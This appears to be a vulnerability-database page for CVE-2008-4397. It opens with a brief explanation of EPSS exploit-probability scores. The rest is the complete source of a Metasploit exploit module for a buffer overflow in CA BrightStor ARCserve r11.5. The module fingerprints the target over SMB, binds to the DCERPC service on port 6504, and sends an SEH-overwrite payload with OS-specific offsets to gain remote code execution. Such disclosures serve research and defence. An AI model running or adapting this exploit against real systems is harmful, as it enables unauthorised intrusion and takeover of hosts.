CVE-2008-4397 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # $Id: ca_arcserve_342.rb 9179 2010-04-30 08:40:19Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884). By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer and execute arbitrary code. In order to successfully exploit this vulnerability, you will need set the hostname argument (HNAME). }, 'Author' => [ 'Nahuel Cayento Riva', 'MC' ], 'License' => MSF_LICENSE, 'Version' => '$Revision: 9179 $', 'References' => [ [ 'BID', '31684' ], [ 'OSVDB', '49468' ], [ 'CVE', '2008-4397' ], [ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ], ], 'Privileged' => true, 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Payload' => { 'Space' => 550, 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", 'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Platform' => 'win', 'Targets' => [ [ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0 ], 'DisclosureDate' => 'Oct 9 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']), Opt::RPORT(6504) ], self.class) end def fingerprint datastore['RPORT'] = 445 os = smb_fingerprint() return os end def exploit path = fingerprint() if ( path['os'] =~ /Windows 2000/ ) dir = "winnt" offset = 442 elsif ( path['os'] =~ /Windows XP/ ) dir = "windows" offset = 436 else print_error("Target not supported!") return end print_status("Identified OS '#{path['os']}', setting appropiate system path...") datastore['RPORT'] = 6504 connect() handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) print_status("Binding to #{handle} ...") dcerpc_bind(handle) print_status("Bound to #{handle} ...") buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret) sploit = NDR.string("#{datastore['HNAME'].upcase}") sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""") sploit << NDR.string(buffer) sploit << NDR.string(rand_text_alpha_upper(20)) sploit << NDR.long(2) sploit << NDR.long(2) sploit << NDR.string(rand_text_alpha_upper(20)) sploit << NDR.long(0) sploit << NDR.long(4) print_status("Trying target #{target.name}...") begin dcerpc_call(342, sploit) rescue Rex::Proto::DCERPC::Exceptions::NoResponse end handler disconnect end end